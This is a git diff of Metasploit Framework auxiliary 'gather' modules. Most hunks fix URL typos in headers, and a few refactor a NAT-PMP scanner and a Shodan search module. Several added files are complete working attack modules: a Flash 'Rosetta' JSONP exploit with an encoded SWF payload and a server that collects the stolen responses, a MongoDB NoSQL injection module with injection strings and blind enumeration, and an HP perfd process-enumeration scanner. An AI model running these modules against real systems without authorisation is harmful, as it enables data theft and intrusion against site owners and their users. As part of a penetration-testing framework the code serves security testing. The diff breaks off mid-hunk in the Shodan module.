Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index cdf4003d09..c87615aa62 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_cache_scraper.rb b/modules/auxiliary/gather/dns_cache_scraper.rb index bc3294ce3a..d309a10617 100644 --- a/modules/auxiliary/gather/dns_cache_scraper.rb +++ b/modules/auxiliary/gather/dns_cache_scraper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index 565b318658..0834c5c16e 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index b472ae5b10..4726b53de9 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'Carlos Perez ', # Base code - 'Thanat0s ' # Output, Throttling & Db notes add + 'Thanat0s ' # Output, Throttling & Db notes add ], 'License' => BSD_LICENSE )) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index eb43898516..1b35c6d047 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index fdf092ed90..d53b0c7ad2 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Auxiliary 'Author' => 'Brendan Coles ', 'References' => [ - ['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], - ['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] + ['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], + ['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] ], 'DisclosureDate' => 'Jan 12 2014')) register_options( diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 0f69e2fca2..a7cae618a0 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb index 7628a76fd0..b699d58ddf 100644 --- a/modules/auxiliary/gather/eaton_nsm_creds.rb +++ b/modules/auxiliary/gather/eaton_nsm_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/emc_cta_xxe.rb b/modules/auxiliary/gather/emc_cta_xxe.rb index 814d315b16..b4cf130c2a 100644 --- a/modules/auxiliary/gather/emc_cta_xxe.rb +++ b/modules/auxiliary/gather/emc_cta_xxe.rb @@ -1,4 +1,4 @@ -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download ## # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Brandon Perry ', #metasploit module + 'Brandon Perry ', #metasploit module ], 'References' => [ diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index 6bad990d9c..e25260e9a4 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb index 3469762d8c..5eb3919f80 100644 --- a/modules/auxiliary/gather/external_ip.rb +++ b/modules/auxiliary/gather/external_ip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index a949fa36c5..0455124f69 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb new file mode 100644 index 0000000000..81f6e0e5fe --- /dev/null +++ b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'open-uri' +require 'uri' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure', + 'Description' => %q{ + A website that serves a JSONP endpoint that accepts a custom alphanumeric + callback of 1200 chars can be abused to serve an encoded swf payload that + steals the contents of a same-domain URL. Flash < 14.0.0.145 is required. + + This module spins up a web server that, upon navigation from a user, attempts + to abuse the specified JSONP endpoint URLs by stealing the response from + GET requests to STEAL_URLS. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure + 'joev' # msf module + ], + 'References' => + [ + ['CVE', '2014-4671'], + ['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'], + ['URL', 'https://github.com/mikispag/rosettaflash'], + ['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/'] + ], + 'DisclosureDate' => 'Jul 8 2014', + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer')) + + register_options( + [ + OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]), + OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]), + OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]), + OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]), + OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ]) + ], + self.class) + end + + def run + if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe + raise "JSONP endpoint does not allow sufficiently long callback names." + end + + unless datastore['URIPATH'] == '/' + raise "URIPATH must be set to '/' to intercept crossdomain.xml request." + end + + exploit + end + + def check + test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length) + io = open(exploit_url(test_string)) + if io.read.start_with? test_string + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def on_request_uri(cli, request) + vprint_status("Request '#{request.method} #{request.uri}'") + if request.uri.end_with? 'crossdomain.xml' + print_status "Responding to crossdomain request.." + send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy') + elsif request.uri.end_with? '.log' + body = URI.decode(request.body) + file = store_loot( + "html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response" + ) + url = body.lines.first.gsub(/.*?=/,'') + print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}" + print_good "Stored in #{file}" + else + print_status "Serving exploit HTML" + send_response_html(cli, exploit_html) + end + end + + def exploit_url(data_payload) + delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end + "#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}" + end + + def exploit_html + ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log') + %Q| + + + + + + + + + | + end + + # Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ + # + # Alphanumeric Flash swf applet that steals URLs. Compiled from the following code: + # + # class X { + # static var app : X; + # + # function getURL(url:String) { + # var r:LoadVars = new LoadVars(); + # r.onData = function(src:String) { + # if (_root.exfiltrate) { + # var w:LoadVars = new LoadVars(); + # w.x = url+"\n"+src; + # w.sendAndLoad(_root.exfiltrate, w, "POST"); + # } + # } + # r.load(url, r, "GET"); + # } + # + # function X(mc) { + # if (_root.url) { + # var urls:Array = _root.url.split(","); + # for (var i in urls) { + # getURL(urls[i]); + # } + # } + # } + # + # // entry point + # static function main(mc) { + # app = new X(mc); + # } + # } + # + # + # Compiling the .as using mtasc and swftool: + # + # > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as + # $ swfcombine -d out.swf -o out-uncompressed.swf + # $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf + # + def encoded_swf + "CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \ + "sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \ + "nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \ + "oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \ + "BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \ + "WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \ + "8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \ + "HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \ + "HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \ + "DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \ + "HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \ + "Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \ + "DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \ + "XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \ + "p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \ + "sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \ + "sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \ + "tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \ + "7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \ + "HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \ + "wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \ + "HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \ + "wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \ + "HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \ + "CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \ + "33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \ + "gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \ + "nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9" + end + + def crossdomain_xml + %Q| + + + + + | + end + + def rhost + URI.parse(datastore["JSONP_URL"]).host + end + +end diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb new file mode 100644 index 0000000000..1a51760858 --- /dev/null +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # TODO: figure out what these do: + # o: valid command, takes no args, does nothing + # B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args + ALLOWED_COMMANDS = %w(a A i g l p t T u w Z) + + def initialize + super( + 'Name' => 'HP Operations Manager Perfd Environment Scanner', + 'Description' => %q{ + This module will enumerate the process list of a remote machine by abusing + HP Operation Manager's unauthenticated 'perfd' daemon. + }, + 'Author' => [ 'Roberto Soares Espreto ' ], + 'License' => MSF_LICENSE + ) + + commands_help = ALLOWED_COMMANDS.join(',') + register_options( + [ + Opt::RPORT(5227), + OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help]) + ], self.class) + end + + def commands + datastore['COMMANDS'].split(/[, ]+/).map(&:strip) + end + + def setup + super + if datastore['COMMANDS'] + bad_commands = commands - ALLOWED_COMMANDS + unless bad_commands.empty? + fail ArgumentError, "Bad perfd command(s): #{bad_commands}" + end + end + end + + def run_host(target_host) + begin + + connect + banner_resp = sock.get_once + if banner_resp && banner_resp =~ /^Welcome to the perfd server/ + banner_resp.strip! + print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}") + perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp) + sock.puts("\n") + + commands.each do |command| + sock.puts("#{command}\n") + Rex.sleep(1) + command_resp = sock.get_once + + loot_name = "HP Ops Agent perfd #{command}" + path = store_loot( + "hp.ops.agent.perfd.#{command}", + 'text/plain', + target_host, + command_resp, + nil, + "HP Ops Agent perfd #{command}", + perfd_service + ) + print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}") + end + else + print_error("#{target_host}:#{rport}, Perfd server banner detection failed!") + end + disconnect + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue Timeout::Error => e + print_error(e.message) + end + end +end diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 738045917a..4ff53b0ec7 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index e6875e6d57..e2269fe1bb 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index 80c1f7a1b3..dd0520d430 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index d2754274d6..59db20b9a3 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/impersonate_ssl.rb b/modules/auxiliary/gather/impersonate_ssl.rb index 166d6084f8..5177cb5384 100644 --- a/modules/auxiliary/gather/impersonate_ssl.rb +++ b/modules/auxiliary/gather/impersonate_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/joomla_weblinks_sqli.rb b/modules/auxiliary/gather/joomla_weblinks_sqli.rb index f987e4a68c..9bfbdcd149 100644 --- a/modules/auxiliary/gather/joomla_weblinks_sqli.rb +++ b/modules/auxiliary/gather/joomla_weblinks_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/mantisbt_admin_sqli.rb b/modules/auxiliary/gather/mantisbt_admin_sqli.rb index f4251d6c11..07e91a0437 100644 --- a/modules/auxiliary/gather/mantisbt_admin_sqli.rb +++ b/modules/auxiliary/gather/mantisbt_admin_sqli.rb @@ -1,5 +1,5 @@ ## -## This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### diff --git a/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb b/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb new file mode 100644 index 0000000000..b0a0f92d8e --- /dev/null +++ b/modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => "MongoDB NoSQL Collection Enumeration Via Injection", + 'Description' => %q{ + This module can exploit NoSQL injections on MongoDB versions less than 2.4 + and enumerate the collections available in the data via boolean injections. + }, + 'License' => MSF_LICENSE, + 'Author' => + ['Brandon Perry '], + 'References' => + [ + ['URL', 'http://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-node-js-server-side-javascript'] + ], + 'Platform' => ['linux', 'win'], + 'Privileged' => false, + 'DisclosureDate' => "Jun 7 2014")) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]']) + ], self.class) + end + + def syntaxes + [["\"'||this||'", "'||[inject]||'"], + ["\"';return+true;var+foo='", "';return+[inject];var+foo='"], + ['\'"||this||"','"||[inject]||"'], + ['\'";return+true;var+foo="', '";return+[inject];var+foo="'], + ["||this","||[inject]"]] + end + + def run + uri = datastore['TARGETURI'] + + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', '') + }) + + if !res + fail_with("Server did not respond in an expected way.") + end + + pay = "" + fals = res.body + tru = nil + + syntaxes.each do |payload| + print_status("Testing " + payload[0]) + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', payload[0]) + }) + + if res and res.body != fals and res.code == 200 + print_status("Looks like " + payload[0] + " works") + tru = res.body + + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this')) + }) + + if res and res.body != tru and res.code == 200 + vprint_status("I think I confirmed with a negative test.") + fals = res.body + pay = payload[1] + break + end + end + end + + if pay == '' + fail_with("Couldn't detect a payload, maybe it isn't injectable.") + end + + length = 0 + vprint_status("Getting length of the number of collections.") + (0..100).each do |len| + str = "db.getCollectionNames().length==#{len}" + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str)) + }) + + if res and res.body == tru + length = len + print_status("#{len} collections are available") + break + end + end + + vprint_status("Getting collection names") + + names = [] + (0...length).each do |i| + vprint_status("Getting length of name for collection " + i.to_s) + + name_len = 0 + (0..100).each do |k| + str = "db.getCollectionNames()[#{i}].length==#{k}" + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str)) + }) + + if res and res.body == tru + name_len = k + print_status("Length of collection #{i}'s name is #{k}") + break + end + end + + vprint_status("Getting collection #{i}'s name") + + name = '' + (0...name_len).each do |k| + [*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c| + str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'" + res = send_request_cgi({ + 'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str)) + }) + + if res and res.body == tru + name << c + break + end + end + end + + print_status("Collections #{i}'s name is " + name) + names << name + end + + p = store_loot("mongo_injection.#{datastore['RHOST']}_collections", + "text/plain", + nil, + names.to_json, + "mongo_injection_#{datastore['RHOST']}.txt", + "#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration") + + print_good("Your collections are located at: " + p) + end +end diff --git a/modules/auxiliary/gather/mybb_db_fingerprint.rb b/modules/auxiliary/gather/mybb_db_fingerprint.rb index a2beedb07c..a2b28822d5 100644 --- a/modules/auxiliary/gather/mybb_db_fingerprint.rb +++ b/modules/auxiliary/gather/mybb_db_fingerprint.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb index 8adc4677cb..fe78628201 100644 --- a/modules/auxiliary/gather/natpmp_external_address.rb +++ b/modules/auxiliary/gather/natpmp_external_address.rb @@ -1,15 +1,17 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'rex/proto/natpmp' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::NATPMP + include Rex::Proto::NATPMP def initialize super( @@ -19,68 +21,43 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options( - [ - Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), - Opt::CHOST - ], - self.class - ) end - def run_host(host) - begin - udp_sock = Rex::Socket::Udp.create({ - 'LocalHost' => datastore['CHOST'] || nil, - 'Context' => {'Msf' => framework, 'MsfExploit' => self} - }) - add_socket(udp_sock) - vprint_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address" + def scan_host(ip) + scanner_send(@probe, ip, datastore['RPORT']) + end - udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) - while (r = udp_sock.recvfrom(12, 1.0) and r[1]) - handle_reply(host, r) + def scanner_prescan(batch) + @probe = external_address_request + end + + def scanner_process(data, shost, sport) + (ver, op, result, epoch, external_address) = parse_external_address_response(data) + + peer = "#{shost}:#{sport}" + if (ver == 0 && op == 128 && result == 0) + print_good("#{peer} -- external address #{external_address}") + # report its external address as alive + if inside_workspace_boundary?(external_address) + report_host( + :host => external_address, + :state => Msf::HostState::Alive + ) end - rescue ::Interrupt - raise $! - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused - nil - rescue ::Exception => e - print_error("#{host}:#{datastore['RPORT']} Unknown error: #{e.class} #{e}") - end - end - - def handle_reply(host, pkt) - return if not pkt[1] - - if(pkt[1] =~ /^::ffff:/) - pkt[1] = pkt[1].sub(/^::ffff:/, '') - end - - (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0]) - - if (result == 0) - print_status("#{host} -- external address #{external_address}") + else + print_error("#{peer} -- unexpected version/opcode/result/address: #{ver}/#{op}/#{result}/#{external_address}") end # report the host we scanned as alive report_host( - :host => host, + :host => shost, :state => Msf::HostState::Alive ) - # also report its external address as alive - if inside_workspace_boundary?(external_address) - report_host( - :host => external_address, - :state => Msf::HostState::Alive - ) - end - # report NAT-PMP as being open report_service( - :host => host, - :port => pkt[2], + :host => shost, + :port => sport, :proto => 'udp', :name => 'natpmp', :state => Msf::ServiceState::Open diff --git a/modules/auxiliary/gather/search_email_collector.rb b/modules/auxiliary/gather/search_email_collector.rb index 3a4783b446..5fbbff3ec7 100644 --- a/modules/auxiliary/gather/search_email_collector.rb +++ b/modules/auxiliary/gather/search_email_collector.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index d7ccae9a29..3691e7917f 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' -require 'net/dns' +require 'net/https' +require 'uri' class Metasploit4 < Msf::Auxiliary @@ -16,170 +17,171 @@ class Metasploit4 < Msf::Auxiliary super(update_info(info, 'Name' => 'Shodan Search', 'Description' => %q{ - This module uses the SHODAN API to query the database and - returns the first 50 IPs. SHODAN accounts are free & output - can be sent to a file for use by another program. Results - can also populated into the services table in the database. - NOTE: SHODAN filters (port, hostname, os, geo, city) can be - used in queries, but the free API does not allow net, country, - before, and after filters. An unlimited API key can be - purchased from the Shodan site to use those queries. The 50 - result limit can also be raised to 10,000 for a small fee. - API: http://www.shodanhq.com/api_doc - FILTERS: http://www.shodanhq.com/help/filters + This module uses the Shodan API to search Shodan. Accounts are free + and an API key is required to used this module. Output from the module + is displayed to the screen and can be saved to a file or the MSF database. + NOTE: SHODAN filters (i.e. port, hostname, os, geo, city) can be used in + queries, but there are limitations when used with a free API key. Please + see the Shodan site for more information. + Shodan website: https://www.shodan.io/ + API: https://developer.shodan.io/api }, 'Author' => [ - 'John Sawyer ', #sploitlab.com - 'sinn3r' #Metasploit-fu plus other features + 'John H Sawyer ', # InGuardians, Inc. + 'sinn3r' # Metasploit-fu plus other features ], 'License' => MSF_LICENSE - )) + ) + ) - # disabling all the unnecessary options that someone might set to break our query - deregister_options('RPORT','RHOST', 'DOMAIN', - 'DigestAuthIIS', 'SSLVersion', 'NTLM::SendLM', 'NTLM::SendNTLM', - 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', - 'NTLM::UseNTLMv2','SSL') + deregister_options('RHOST', 'DOMAIN', 'DigestAuthIIS', 'NTLM::SendLM', + 'NTLM::SendNTLM', 'VHOST', 'RPORT', 'NTLM::SendSPN', 'NTLM::UseLMKey', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') register_options( [ - 